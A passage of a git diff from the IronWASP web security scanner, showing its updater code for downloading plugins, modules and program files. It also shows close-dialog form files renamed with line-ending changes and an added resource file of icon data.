SupportFileNode.InnerText; + break; + case ("downloadname"): + SupportFileDownloadName = SupportFileNode.InnerText; + break; + } + } + SupportFiles.Add(new string[]{SupportFileName, SupportFileDownloadName}); + break; + } + } + + if (Action.Equals("add") || Action.Equals("update")) + { + bool MatchFound = false; + string[] MatchedPluginInfo = new string[2]; + foreach (string[] PluginInfo in AllPluginInfo) + { + if (PluginInfo[0].Equals(FileName)) + { + MatchFound = true; + MatchedPluginInfo = PluginInfo; + break; + } + } + + if ((MatchFound && !MatchedPluginInfo[1].Equals(Version)) || !MatchFound) + { + DownloadPlugin(PluginType, FileName, DownloadFileName); + XW.WriteStartElement("file"); + XW.WriteStartElement("action"); XW.WriteValue(Action); XW.WriteEndElement(); + XW.WriteStartElement("filename"); XW.WriteValue(FileName); XW.WriteEndElement(); + XW.WriteStartElement("comment"); XW.WriteValue(Comment); XW.WriteEndElement(); + XW.WriteEndElement(); + foreach (string[] SupportFile in SupportFiles) + { + DownloadPlugin(PluginType, SupportFile[0], SupportFile[1]); + XW.WriteStartElement("file"); + XW.WriteStartElement("action"); XW.WriteValue(Action); XW.WriteEndElement(); + XW.WriteStartElement("filename"); XW.WriteValue(SupportFile[0]); XW.WriteEndElement(); + XW.WriteStartElement("comment"); XW.WriteValue(Comment); XW.WriteEndElement(); + XW.WriteEndElement(); + } + } + } + } + + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + + StreamWriter SW = File.CreateText(Config.Path + "\\updates\\" + PluginType + "_plugin_manifest.xml"); + SW.Write(SB.ToString()); + SW.Close(); + } + + static void GetNewIronWASP() + { + StringBuilder SB = new StringBuilder(); + XmlWriter XW = XmlWriter.Create(SB); + + XW.WriteStartDocument(); + XW.WriteStartElement("manifest"); + + XmlDocument XmlDoc = new XmlDocument(); + XmlDoc.XmlResolver = null; + try + { + using (MemoryStream MS = new MemoryStream(Encoding.UTF8.GetBytes(IronWASPManifestFile))) + { + XmlDoc.Load(MS); + } + } + catch { throw new Exception("Invalid IronWASP update manifest file recieved."); } + + XmlNodeList FileNodes = null; + + if (XmlDoc.ChildNodes.Count == 1) + { + FileNodes = XmlDoc.FirstChild.ChildNodes; + } + else if (XmlDoc.ChildNodes.Count == 2) + { + FileNodes = XmlDoc.ChildNodes[1].ChildNodes; + } + + foreach (XmlNode FileNode in FileNodes) + { + string Version = ""; + string Action = ""; + string FileName = ""; + string DownloadFileName = ""; + string Comment = ""; + + foreach (XmlNode PropertyNode in FileNode.ChildNodes) + { + switch (PropertyNode.Name) + { + case ("version"): + Version = PropertyNode.InnerText; + break; + case ("action"): + Action = PropertyNode.InnerText; + break; + case ("filename"): + FileName = PropertyNode.InnerText; + break; + case ("downloadname"): + DownloadFileName = PropertyNode.InnerText; + break; + case ("comment"): + Comment = PropertyNode.InnerText; + break; + } + } + + if (Action.Equals("add") || Action.Equals("update")) + { + if (IsGreaterVersion(Version)) + { + DownloadIronWASPFile(FileName, DownloadFileName); + XW.WriteStartElement("file"); + XW.WriteStartElement("action"); XW.WriteValue(Action); XW.WriteEndElement(); + XW.WriteStartElement("filename"); XW.WriteValue(FileName); XW.WriteEndElement(); + XW.WriteStartElement("comment"); XW.WriteValue(Comment); XW.WriteEndElement(); + XW.WriteEndElement(); + } + } + } + + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + + StreamWriter SW = File.CreateText(Config.Path + "\\updates\\ironwasp_manifest.xml"); + SW.Write(SB.ToString()); + SW.Close(); + + //string[] IronWASPManifestLines = IronWASPManifestFile.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + + //foreach (string Line in IronWASPManifestLines) + //{ + // string[] LineParts = Line.Split(new char[] { '|' }, 5); + // if (LineParts.Length != 5) + // { + // throw new Exception("Invalid 'IronWASP Manifest File' recieved from server"); + // } + // IronWASPManifestInfo.Add(LineParts); + //} + //foreach (string[] IronWASPManifestInfoLine in IronWASPManifestInfo) + //{ + // if (IronWASPManifestInfoLine[0].Equals("+") || IronWASPManifestInfoLine[0].Equals("*")) + // { + // if (IsGreaterVersion(IronWASPManifestInfoLine[1])) + // { + // DownloadIronWASPFile(IronWASPManifestInfoLine[2], IronWASPManifestInfoLine[3]); + // } + // } + //} + } + + static void GetNewModulesDb() + { + string CurrentModulesDbFile = ""; + try + { + CurrentModulesDbFile = File.ReadAllText(string.Format("{0}\\ModulesDB.exe", Config.RootDir)); + } + catch (Exception Exp) + { + throw new Exception("Unable to read the contents of ModulesDB.exe file", Exp); + } + try + { + if (!Tools.IsXmlContentSame(CurrentModulesDbFile, ModulesDbFile)) + { + try + { + File.WriteAllText(Config.Path + "\\updates\\ironwasp\\ModulesDB.exe", ModulesDbFile); + NewUpdateAvailable = true; + } + catch (Exception Exp) + { + throw new Exception("Unable to update the contents of ModulesDB.exe file", Exp); + } + } + } + catch(Exception Exp) + { + throw new Exception("Invalid ModulesDB.exe file, not a valid XML", Exp); + } + } + + static void DownloadModule(string ModuleName, string PseudoName) + { + Request ModuleFetchReq = new Request(ModuleDownloadBaseUrl + "/" + PseudoName); + ModuleFetchReq.Source = RequestSource.Stealth; + Response ModuleFetchRes = ModuleFetchReq.Send(); + if (!ModuleFetchRes.IsSslValid) + { + throw new Exception("Invalid SSL Certificate provided by the server"); + } + if (ModuleFetchRes.Code != 200) + { + throw new Exception("Downloading updated modules failed"); + } + try + { + ModuleFetchRes.SaveBody(Config.Path + "\\updates\\modules\\" + ModuleName + ".zip"); + using (ZipFile ZF = ZipFile.Read(Config.Path + "\\updates\\modules\\" + ModuleName + ".zip")) + { + ZF.ExtractAll(Config.Path + "\\updates\\modules\\"); + } + NewUpdateAvailable = true; + } + catch (Exception Exp) { IronException.Report(string.Format("Error Downloading Module: {0} - {1} ", ModuleName, PseudoName), Exp); } + } + + static void DownloadPlugin(string PluginType, string FileName, string PseudoName) + { + Request PluginFetchReq = new Request(PluginDownloadBaseUrl + PluginType + "/" + PseudoName); + PluginFetchReq.Source = RequestSource.Stealth; + Response PluginFetchRes = PluginFetchReq.Send(); + if (!PluginFetchRes.IsSslValid) + { + throw new Exception("Invalid SSL Certificate provided by the server"); + } + if (PluginFetchRes.Code != 200) + { + throw new Exception("Downloading updated plugins failed"); + } + try + { + PluginFetchRes.SaveBody(Config.Path + "\\updates\\plugins\\" + PluginType + "\\" + FileName); + NewUpdateAvailable = true; + } + catch (Exception Exp) { IronException.Report(string.Format("Error Downloading Plugin: {0} - {1} - {2}", PluginType, FileName, PseudoName), Exp); } + } + + static void DownloadIronWASPFile(string FileName, string PseudoName) + { + Request IronWASPFileFetchReq = new Request(IronWASPDownloadBaseUrl + PseudoName); + IronWASPFileFetchReq.Source = RequestSource.Stealth; + Response IronWASPFileFetchRes = IronWASPFileFetchReq.Send(); + if (!IronWASPFileFetchRes.IsSslValid) + { + throw new Exception("Invalid SSL Certificate provided by the server"); + } + if (IronWASPFileFetchRes.Code != 200) + { + throw new Exception("Downloading updated IronWASP version failed"); + } + if (FileName.Equals("Updater.exe")) + { + try + { + File.Delete(Config.Path + "\\Updater.exe"); + } + catch { } + IronWASPFileFetchRes.SaveBody(Config.Path + "\\Updater.exe"); + } + else + { + IronWASPFileFetchRes.SaveBody(Config.Path + "\\updates\\ironwasp\\" + FileName); + } + NewUpdateAvailable = true; + } + + static bool IsGreaterVersion(string ManifestVersion) + { + try + { + string[] CurrentVersionParts = CurrentVersion.Split('.'); + string[] ManifestVersionParts = ManifestVersion.Split('.'); + List CurrentVersionIntParts = new List(); + List ManifestVersionIntParts = new List(); + foreach (string VP in CurrentVersionParts) + { + CurrentVersionIntParts.Add(Int32.Parse(VP)); + } + foreach (string VP in ManifestVersionParts) + { + ManifestVersionIntParts.Add(Int32.Parse(VP)); + } + if (CurrentVersionIntParts.Count != ManifestVersionIntParts.Count) return true; + for (int i = 0; i < CurrentVersionIntParts.Count; i++) + { + if (CurrentVersionIntParts[i] < ManifestVersionIntParts[i]) + { + return true; + } + else if (CurrentVersionIntParts[i] > ManifestVersionIntParts[i]) + { + return false; + } + } + return false; + } + catch + { + return true; + } + } + + internal static void StopUpdateCheck() + { + try + { + T.Abort(); + } + catch{} + } + } +} diff --git a/IronWASP/CloseForm.Designer.cs b/Iron/CloseForm.Designer.cs similarity index 97% rename from IronWASP/CloseForm.Designer.cs rename to Iron/CloseForm.Designer.cs index f8a62ea..f0ec8c8 100644 --- a/IronWASP/CloseForm.Designer.cs +++ b/Iron/CloseForm.Designer.cs @@ -1,166 +1,166 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class CloseForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CloseForm)); - this.CloseBtn = new System.Windows.Forms.Button(); - this.RenameCloseBtn = new System.Windows.Forms.Button(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.ProjectNameTB = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.ErrorTB = new System.Windows.Forms.TextBox(); - this.StatusMsgRTB = new System.Windows.Forms.RichTextBox(); - this.SuspendLayout(); - // - // CloseBtn - // - this.CloseBtn.Location = new System.Drawing.Point(12, 172); - this.CloseBtn.Name = "CloseBtn"; - this.CloseBtn.Size = new System.Drawing.Size(169, 23); - this.CloseBtn.TabIndex = 2; - this.CloseBtn.Text = "Close without Renaming"; - this.CloseBtn.UseVisualStyleBackColor = true; - this.CloseBtn.Click += new System.EventHandler(this.CloseBtn_Click); - // - // RenameCloseBtn - // - this.RenameCloseBtn.Location = new System.Drawing.Point(231, 172); - this.RenameCloseBtn.Name = "RenameCloseBtn"; - this.RenameCloseBtn.Size = new System.Drawing.Size(164, 23); - this.RenameCloseBtn.TabIndex = 1; - this.RenameCloseBtn.Text = "Rename and Close"; - this.RenameCloseBtn.UseVisualStyleBackColor = true; - this.RenameCloseBtn.Click += new System.EventHandler(this.RenameCloseBtn_Click); - // - // CancelBtn - // - this.CancelBtn.Location = new System.Drawing.Point(441, 172); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(135, 23); - this.CancelBtn.TabIndex = 0; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // ProjectNameTB - // - this.ProjectNameTB.BackColor = System.Drawing.Color.LightGray; - this.ProjectNameTB.Location = new System.Drawing.Point(113, 122); - this.ProjectNameTB.Name = "ProjectNameTB"; - this.ProjectNameTB.ReadOnly = true; - this.ProjectNameTB.Size = new System.Drawing.Size(472, 20); - this.ProjectNameTB.TabIndex = 5; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(3, 126); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(106, 13); - this.label1.TabIndex = 6; - this.label1.Text = "Project Folder Name:"; - // - // ErrorTB - // - this.ErrorTB.BackColor = System.Drawing.SystemColors.Control; - this.ErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ErrorTB.Location = new System.Drawing.Point(9, 148); - this.ErrorTB.Name = "ErrorTB"; - this.ErrorTB.ReadOnly = true; - this.ErrorTB.Size = new System.Drawing.Size(573, 13); - this.ErrorTB.TabIndex = 7; - this.ErrorTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - // - // StatusMsgRTB - // - this.StatusMsgRTB.BackColor = System.Drawing.Color.White; - this.StatusMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.StatusMsgRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.StatusMsgRTB.Location = new System.Drawing.Point(0, 0); - this.StatusMsgRTB.Name = "StatusMsgRTB"; - this.StatusMsgRTB.ReadOnly = true; - this.StatusMsgRTB.Size = new System.Drawing.Size(584, 100); - this.StatusMsgRTB.TabIndex = 8; - this.StatusMsgRTB.Text = ""; - this.StatusMsgRTB.Enter += new System.EventHandler(this.StatusMsgRTB_Enter); - // - // CloseForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(584, 202); - this.ControlBox = false; - this.Controls.Add(this.StatusMsgRTB); - this.Controls.Add(this.ErrorTB); - this.Controls.Add(this.label1); - this.Controls.Add(this.ProjectNameTB); - this.Controls.Add(this.CancelBtn); - this.Controls.Add(this.RenameCloseBtn); - this.Controls.Add(this.CloseBtn); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(600, 240); - this.MinimumSize = new System.Drawing.Size(600, 240); - this.Name = "CloseForm"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Want to Shutdown IronWASP?"; - this.Load += new System.EventHandler(this.CloseForm_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Button CloseBtn; - private System.Windows.Forms.Button RenameCloseBtn; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.TextBox ProjectNameTB; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox ErrorTB; - private System.Windows.Forms.RichTextBox StatusMsgRTB; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class CloseForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CloseForm)); + this.CloseBtn = new System.Windows.Forms.Button(); + this.RenameCloseBtn = new System.Windows.Forms.Button(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.ProjectNameTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.ErrorTB = new System.Windows.Forms.TextBox(); + this.StatusMsgRTB = new System.Windows.Forms.RichTextBox(); + this.SuspendLayout(); + // + // CloseBtn + // + this.CloseBtn.Location = new System.Drawing.Point(12, 172); + this.CloseBtn.Name = "CloseBtn"; + this.CloseBtn.Size = new System.Drawing.Size(169, 23); + this.CloseBtn.TabIndex = 2; + this.CloseBtn.Text = "Close without Renaming"; + this.CloseBtn.UseVisualStyleBackColor = true; + this.CloseBtn.Click += new System.EventHandler(this.CloseBtn_Click); + // + // RenameCloseBtn + // + this.RenameCloseBtn.Location = new System.Drawing.Point(231, 172); + this.RenameCloseBtn.Name = "RenameCloseBtn"; + this.RenameCloseBtn.Size = new System.Drawing.Size(164, 23); + this.RenameCloseBtn.TabIndex = 1; + this.RenameCloseBtn.Text = "Rename and Close"; + this.RenameCloseBtn.UseVisualStyleBackColor = true; + this.RenameCloseBtn.Click += new System.EventHandler(this.RenameCloseBtn_Click); + // + // CancelBtn + // + this.CancelBtn.Location = new System.Drawing.Point(441, 172); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(135, 23); + this.CancelBtn.TabIndex = 0; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // ProjectNameTB + // + this.ProjectNameTB.BackColor = System.Drawing.Color.LightGray; + this.ProjectNameTB.Location = new System.Drawing.Point(113, 122); + this.ProjectNameTB.Name = "ProjectNameTB"; + this.ProjectNameTB.ReadOnly = true; + this.ProjectNameTB.Size = new System.Drawing.Size(472, 20); + this.ProjectNameTB.TabIndex = 5; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(3, 126); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(106, 13); + this.label1.TabIndex = 6; + this.label1.Text = "Project Folder Name:"; + // + // ErrorTB + // + this.ErrorTB.BackColor = System.Drawing.SystemColors.Control; + this.ErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ErrorTB.Location = new System.Drawing.Point(9, 148); + this.ErrorTB.Name = "ErrorTB"; + this.ErrorTB.ReadOnly = true; + this.ErrorTB.Size = new System.Drawing.Size(573, 13); + this.ErrorTB.TabIndex = 7; + this.ErrorTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + // + // StatusMsgRTB + // + this.StatusMsgRTB.BackColor = System.Drawing.Color.White; + this.StatusMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.StatusMsgRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.StatusMsgRTB.Location = new System.Drawing.Point(0, 0); + this.StatusMsgRTB.Name = "StatusMsgRTB"; + this.StatusMsgRTB.ReadOnly = true; + this.StatusMsgRTB.Size = new System.Drawing.Size(584, 100); + this.StatusMsgRTB.TabIndex = 8; + this.StatusMsgRTB.Text = ""; + this.StatusMsgRTB.Enter += new System.EventHandler(this.StatusMsgRTB_Enter); + // + // CloseForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(584, 201); + this.ControlBox = false; + this.Controls.Add(this.StatusMsgRTB); + this.Controls.Add(this.ErrorTB); + this.Controls.Add(this.label1); + this.Controls.Add(this.ProjectNameTB); + this.Controls.Add(this.CancelBtn); + this.Controls.Add(this.RenameCloseBtn); + this.Controls.Add(this.CloseBtn); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(600, 240); + this.MinimumSize = new System.Drawing.Size(600, 240); + this.Name = "CloseForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Want to Shutdown IronWASP?"; + this.Load += new System.EventHandler(this.CloseForm_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button CloseBtn; + private System.Windows.Forms.Button RenameCloseBtn; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.TextBox ProjectNameTB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox ErrorTB; + private System.Windows.Forms.RichTextBox StatusMsgRTB; + } } \ No newline at end of file diff --git a/IronWASP/CloseForm.cs b/Iron/CloseForm.cs similarity index 97% rename from IronWASP/CloseForm.cs rename to Iron/CloseForm.cs index bbed143..236afd0 100644 --- a/IronWASP/CloseForm.cs +++ b/Iron/CloseForm.cs @@ -1,131 +1,131 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see . -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.IO; -using System.Threading; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class CloseForm : Form - { - public CloseForm() - { - InitializeComponent(); - } - - private void CloseForm_Load(object sender, EventArgs e) - { - StringBuilder Msg = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red255\green0\blue0;\red0\green200\blue50;} \qc \fs22 \cf1 \b System Status \b0 \cf0 \par \pard \fs18 "); - Msg.Append(@" \tab Active Scan Jobs - "); - string ScansActive = @" \cf3 \b No \b0 \cf0 \par "; - foreach (int ScanID in Scanner.ScanThreads.Keys) - { - if (Scanner.ScanThreads[ScanID].ThreadState == ThreadState.Running || Scanner.ScanThreads[ScanID].ThreadState == ThreadState.WaitSleepJoin) - { - ScansActive = @" \cf2 \b Yes \b0 \cf0 \par "; - break; - } - } - Msg.AppendLine(ScansActive); - Msg.Append(@" \tab Scripts Running in Scripting Shell - "); - string ShellActive = @" \cf3 \b No \b0 \cf0 \par "; - if (IronUI.UI.InteractiveShellCtrlCBtn.Enabled) ShellActive = @" \cf2 \b Yes \b0 \cf0 \par "; - Msg.AppendLine(ShellActive); - Msg.Append(@" \tab Requests pending for Passive Plug-in Analysis - "); - int ReqQLen = PassiveChecker.RequestQueueLength; - if (ReqQLen == 0) - Msg.Append(@" \cf3 \b 0 \b0 \cf0 \par "); - else - { Msg.Append(@" \cf2 \b "); Msg.Append(ReqQLen.ToString()); Msg.Append(@" \b0 \cf0 \par "); } - - Msg.Append(@" \tab Responses pending for Passive Plug-in Analysis - "); - int ResQLen = PassiveChecker.ResponseQueueLength; - if (ResQLen == 0) - Msg.Append(@" \cf3 \b 0 \b0 \cf0 \par "); - else - { Msg.Append(@" \cf2 \b "); Msg.Append(ResQLen.ToString()); Msg.Append(@" \b0 \cf0 \par "); } - Msg.AppendLine("}"); - StatusMsgRTB.Rtf = Msg.ToString(); - ProjectNameTB.Text = IronDB.LogPath; - } - - private void CloseBtn_Click(object sender, EventArgs e) - { - try - { - CloseBtn.Enabled = false; - RenameCloseBtn.Enabled = false; - CancelBtn.Enabled = false; - ErrorTB.Text = "Shutting down Iron..."; - IronUI.UI.ShutDown(); - } - catch { } - Application.Exit(); - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void RenameCloseBtn_Click(object sender, EventArgs e) - { - CloseBtn.Enabled = false; - if (RenameCloseBtn.Text.Equals("Rename and Close")) - { - RenameCloseBtn.Enabled = false; - CloseBtn.Enabled = false; - CancelBtn.Enabled = false; - ErrorTB.Text = "Shutting down Iron..."; - IronUI.UI.ShutDown(); - RenameCloseBtn.Text = "Rename"; - RenameCloseBtn.Enabled = true; - ProjectNameTB.ReadOnly = false; - ProjectNameTB.BackColor = Color.White; - ErrorTB.Text = "Rename Project Folder"; - } - else - { - try - { - Directory.Move(IronDB.LogPath, ProjectNameTB.Text); - ErrorTB.Text = "Rename Complete!"; - } - catch(Exception Exp) - { - ErrorTB.Text = Exp.Message; - CloseBtn.Enabled = true; - return; - } - Application.Exit(); - } - } - - private void StatusMsgRTB_Enter(object sender, EventArgs e) - { - CancelBtn.Focus(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see . +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class CloseForm : Form + { + public CloseForm() + { + InitializeComponent(); + } + + private void CloseForm_Load(object sender, EventArgs e) + { + StringBuilder Msg = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red255\green0\blue0;\red0\green200\blue50;} \qc \fs22 \cf1 \b System Status \b0 \cf0 \par \pard \fs18 "); + Msg.Append(@" \tab Active Scan Jobs - "); + string ScansActive = @" \cf3 \b No \b0 \cf0 \par "; + foreach (int ScanID in Scanner.ScanThreads.Keys) + { + if (Scanner.ScanThreads[ScanID].ThreadState == ThreadState.Running || Scanner.ScanThreads[ScanID].ThreadState == ThreadState.WaitSleepJoin) + { + ScansActive = @" \cf2 \b Yes \b0 \cf0 \par "; + break; + } + } + Msg.AppendLine(ScansActive); + Msg.Append(@" \tab Scripts Running in Scripting Shell - "); + string ShellActive = @" \cf3 \b No \b0 \cf0 \par "; + if (IronUI.UI.InteractiveShellCtrlCBtn.Enabled) ShellActive = @" \cf2 \b Yes \b0 \cf0 \par "; + Msg.AppendLine(ShellActive); + Msg.Append(@" \tab Requests pending for Passive Plug-in Analysis - "); + int ReqQLen = PassiveChecker.RequestQueueLength; + if (ReqQLen == 0) + Msg.Append(@" \cf3 \b 0 \b0 \cf0 \par "); + else + { Msg.Append(@" \cf2 \b "); Msg.Append(ReqQLen.ToString()); Msg.Append(@" \b0 \cf0 \par "); } + + Msg.Append(@" \tab Responses pending for Passive Plug-in Analysis - "); + int ResQLen = PassiveChecker.ResponseQueueLength; + if (ResQLen == 0) + Msg.Append(@" \cf3 \b 0 \b0 \cf0 \par "); + else + { Msg.Append(@" \cf2 \b "); Msg.Append(ResQLen.ToString()); Msg.Append(@" \b0 \cf0 \par "); } + Msg.AppendLine("}"); + StatusMsgRTB.Rtf = Msg.ToString(); + ProjectNameTB.Text = IronDB.LogPath; + } + + private void CloseBtn_Click(object sender, EventArgs e) + { + try + { + CloseBtn.Enabled = false; + RenameCloseBtn.Enabled = false; + CancelBtn.Enabled = false; + ErrorTB.Text = "Shutting down Iron..."; + IronUI.UI.ShutDown(); + } + catch { } + Application.Exit(); + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void RenameCloseBtn_Click(object sender, EventArgs e) + { + CloseBtn.Enabled = false; + if (RenameCloseBtn.Text.Equals("Rename and Close")) + { + RenameCloseBtn.Enabled = false; + CloseBtn.Enabled = false; + CancelBtn.Enabled = false; + ErrorTB.Text = "Shutting down Iron..."; + IronUI.UI.ShutDown(); + RenameCloseBtn.Text = "Rename"; + RenameCloseBtn.Enabled = true; + ProjectNameTB.ReadOnly = false; + ProjectNameTB.BackColor = Color.White; + ErrorTB.Text = "Rename Project Folder"; + } + else + { + try + { + Directory.Move(IronDB.LogPath, ProjectNameTB.Text); + ErrorTB.Text = "Rename Complete!"; + } + catch(Exception Exp) + { + ErrorTB.Text = Exp.Message; + CloseBtn.Enabled = true; + return; + } + Application.Exit(); + } + } + + private void StatusMsgRTB_Enter(object sender, EventArgs e) + { + CancelBtn.Focus(); + } + } +} diff --git a/Iron/CloseForm.resx b/Iron/CloseForm.resx new file mode 100644 index 0000000..c0d1bbb --- /dev/null +++ b/Iron/CloseForm.resx @@ -0,0 +1,1918 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TxvRl0/20ZdP1NGXT9TRl0/20ZdPGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADRl0+K0ZdP/9GXT9TRl0/U0ZdP/9GXT4oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 